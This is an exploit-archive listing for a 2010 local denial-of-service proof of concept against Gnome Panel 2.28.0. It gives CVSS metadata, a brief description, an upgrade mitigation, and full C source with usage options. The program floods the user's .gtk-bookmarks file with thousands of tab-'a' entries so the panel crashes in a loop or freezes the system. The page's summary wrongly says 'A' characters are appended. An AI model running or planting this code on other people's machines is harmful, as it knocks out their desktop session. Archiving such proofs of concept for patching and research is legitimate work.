header-logo
Suggest Exploit
vendor:
Gnome Panel
by:
Pietro Oliva
7,5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Gnome Panel
Affected Version From: 2.28.0
Affected Version To: 2.28.0
Patch Exists: YES
Related CWE: N/A
CPE: a:gnome:gnome_panel
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu 9.10
2010

Gnome panel <= 2.28.0 denial of service poc 0-day

This proof-of-concept code creates a backup file of the .gtk-bookmarks file and then appends a large number of 'A' characters to it. Depending on the argument passed to the code, the number of 'A' characters appended can be either 9999 or 99999. This causes the Gnome panel to crash and restart continuously or to become completely unresponsive, respectively.

Mitigation:

Upgrade to the latest version of Gnome panel.
Source

Exploit-DB raw data:

# Tested on: ubuntu 9.10
# CVE : 
# Code :

/*********************************************************************************
*	        Gnome panel <= 2.28.0 denial of service poc 0-day		 *
*		     by  Pietro Oliva <pietroliva@gmail.com>
*                         http://olivapietro.altervista.org
*										 *
*	      After executing this poc a backup file will be created             *
*                You can restore it by typing ./paneldos restore                 *
*           Using option restart gnome-panel will restart continuously           *
*          Using option totalblock you will need to remove the battery           *
*       After execution click application in the panel, then go to places        *
*                             and wait some seconds...   			 *
*       https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868        *
**********************************************************************************/



#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
	FILE *f;
	unsigned long i;
	printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva poc 0-day\n\n");
	if(!(f=fopen(".gtk-bookmarks","r")))
	{
		printf("%s","file not found! make sure you are running\nthis file from your home directory\n");
		return 1;
	}
	fclose(f);
	if((argv[1]==NULL))
	{
		printf("%s","please specify an argument!\n");
		printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n");
		return 1;
	}
	if(((strcmp(argv[1],"restart"))==0))
	i=9999;
	else if((strcmp(argv[1],"totalblock"))==0)
	i=99999;
	else if((strcmp(argv[1],"restore"))==0)
	{
		if(!(f=fopen(".backup","r")))
		{
			printf("%s","no backup found!\nmake sure you are running\nthis file from your home directory\n");
			return 1;
		}
		fclose(f);
		system("cp .backup .gtk-bookmarks");
		printf("%s","succesfully restored!\n");
		return 0;
	}
	else
	{
		printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n");
		return 1;
	}
	if(!(f=fopen(".backup","r")))
	{	
		printf("%s","creating backup...\n");
		system("cp .gtk-bookmarks .backup");
	}
	else
	fclose(f);
	f=fopen(".gtk-bookmarks","a");
	printf("%s","starting...\n");
	fwrite("file:///home ",1,13,f);
	while(i>0)
	{
		fwrite("\ta",1,2,f);
		i--;
	}
	fclose(f);
	printf("%s","done! now click applications in panel,\nslide to places, wait and see the result! :D\n");
	return 0;
}